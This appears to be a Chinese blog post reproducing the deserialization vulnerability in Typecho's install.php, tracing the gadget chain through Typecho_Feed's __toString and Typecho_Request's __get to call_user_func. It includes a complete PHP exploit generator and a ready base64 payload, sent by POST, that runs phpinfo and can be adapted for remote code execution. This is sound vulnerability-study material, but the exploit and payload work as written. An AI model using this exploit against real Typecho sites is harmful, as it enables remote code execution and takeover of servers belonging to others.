typecho反序列化漏洞复现

漏洞成因

install.php中229-235行存在如下代码

<?php
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
?>

第230行获取了’__typecho_config’ Cookie信息后未进行过滤直接执行反序列化操作,导致这个点可以进行反序列化攻击。

第232行$db = new Typecho_Db($config['adapter'], $config['prefix']);跟进一下这个Db对象

魔术方法

方法 调用条件
__wakeup() 使用unserialize时触发
__sleep() 使用serialize时触发
__destruct() 对象被销毁时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用isset()或empty()触发
__unset() 在不可访问的属性上使用unset()时触发
__toString() 把类当作字符串使用时触发
__invoke() 当脚本尝试将对象调用为函数时触发

在Db.php中120存在如下代码

$adapterName = 'Typecho_Db_Adapter_' . $adapterName;

$adapterName定义的时候拼接了一个字符串,PHP是弱类型的语言,把一个字符串和一个类拼接的时候,会强制把类转换成字符串,自动调用__toString 魔术方法。

全局搜索__toString 方法,得到三处结果

在这里插入图片描述

  • Config.php

    public function __toString()
    {
        return serialize($this->_currentConfig);
    }
    

    执行序列化操作

  • Query.php

        public function __toString()
        {
            switch ($this->_sqlPreBuild['action']) {
                case Typecho_Db::SELECT:
                    return $this->_adapter->parseSelect($this->_sqlPreBuild);
                case Typecho_Db::INSERT:
                    return 'INSERT INTO '
                    . $this->_sqlPreBuild['table']
                    . '(' . implode(' , ', array_keys($this->_sqlPreBuild['rows'])) . ')'
                    . ' VALUES '
                    . '(' . implode(' , ', array_values($this->_sqlPreBuild['rows'])) . ')'
                    . $this->_sqlPreBuild['limit'];
                case Typecho_Db::DELETE:
                    return 'DELETE FROM '
                    . $this->_sqlPreBuild['table']
                    . $this->_sqlPreBuild['where'];
                case Typecho_Db::UPDATE:
                    $columns = array();
                    if (isset($this->_sqlPreBuild['rows'])) {
                        foreach ($this->_sqlPreBuild['rows'] as $key => $val) {
                            $columns[] = "$key = $val";
                        }
                    }
    
                    return 'UPDATE '
                    . $this->_sqlPreBuild['table']
                    . ' SET ' . implode(' , ', $columns)
                    . $this->_sqlPreBuild['where'];
                default:
                    return NULL;
            }
        }
    

    这里是构造的一些查询语句,也没有可利用的点

    扫描二维码关注公众号,回复: 8982898 查看本文章
  • Feed.php

    从第290行开始

    foreach ($this->_items as $item) {
            $content .= '<item>' . self::EOL;
            $content .= '<title>' . htmlspecialchars($item['title']) . '</title>' . self::EOL;
            $content .= '<link>' . $item['link'] . '</link>' . self::EOL;
            $content .= '<guid>' . $item['link'] . '</guid>' . self::EOL;
            $content .= '<pubDate>' . $this->dateFormat($item['date']) . '</pubDate>' . self::EOL;
            $content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
    

    程序调用私有变量所在类的__get()方法获取私有变量

搜索__get 得到的结果如下

在这里插入图片描述

重点在Request.php中

public function __get($key)
{
    return $this->get($key);
}

跟进这个get方法来到283行

public function get($key, $default = NULL)
{
    switch (true) {
        case isset($this->_params[$key]):
            $value = $this->_params[$key];
            break;
        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];
            break;
        default:
            $value = $default;
            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;
    return $this->_applyFilter($value);
}

$value的值最终传入_applyFilter,那么再找一下这个函数的位置

第159行private function使用了两个危险函数

private function _applyFilter($value)
{
    if ($this->_filter) {
        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }

    return $value;
}
  • array_map
  • call_user_func

如果$value是数组则将调用array_map,反之则将调用call_user_func

完整流程

  • 从Cookie或POST数据中找到’__typecho_config’字段

  • 调用’__typecho_config’中的’adapter’和’prefix’实例化一个Typecho_Db类

  • 当设置的’adapter’是一个类时,触发__toString()魔术方法

  • Feed类中的__toString()魔术方法访问了$item[‘author’]->screenName触发get()魔术方法

  • Typecho_Request类调用__get()方法最终_params[$key]的值传入_applyFilter方法并执行代码

在这里插入图片描述

Exp

<?php
    class Typecho_Request
    {
        private $_params = array();
        private $_filter = array();

        public function __construct()
        {
            $this->_params['screenName'] = 1; // 执行的参数值
            $this->_filter[0] = 'phpinfo'; //filter执行的函数
        }
    }
    class Typecho_Feed{
        const RSS2 = 'RSS 2.0'; //进入toString内部判断条件
        private $_items = array();
        private $_type;
        function __construct()
        {
            $this->_type = self::RSS2;
            $_item['author'] = new Typecho_Request(); //Feed.php文件中触发__get()方法使用的对象
        $_item['category'] = array(new Typecho_Request());//触发错误
            $this->_items[0] = $_item;
        }
    }
    $exp = new Typecho_Feed();
    $a = array(
        'adapter'=>$exp, // Db.php文件中触发__toString()使用的对象
        'prefix' =>'typecho_'
    );
    echo urlencode(base64_encode(serialize($a)));
?>

得到的payload如下

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoyMDoiAFR5cGVjaG9fRmVlZABfaXRlbXMiO2E6MTp7aTowO2E6Mjp7czo2OiJhdXRob3IiO086MTU6IlR5cGVjaG9fUmVxdWVzdCI6Mjp7czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfcGFyYW1zIjthOjE6e3M6MTA6InNjcmVlbk5hbWUiO2k6MTt9czoyNDoiAFR5cGVjaG9fUmVxdWVzdABfZmlsdGVyIjthOjE6e2k6MDtzOjc6InBocGluZm8iO319czo4OiJjYXRlZ29yeSI7YToxOntpOjA7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7aToxO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6NzoicGhwaW5mbyI7fX19fX1zOjE5OiIAVHlwZWNob19GZWVkAF90eXBlIjtzOjc6IlJTUyAyLjAiO31zOjY6InByZWZpeCI7czo4OiJ0eXBlY2hvXyI7fQ%3D%3D

使用POST提交数据

在这里插入图片描述

参考链接:https://www.anquanke.com/post/id/155306

​ https://www.freebuf.com/vuls/152058.html

​ https://www.freebuf.com/vuls/155753.html

发布了22 篇原创文章 · 获赞 24 · 访问量 1973

猜你喜欢

转载自blog.csdn.net/weixin_43872099/article/details/103534327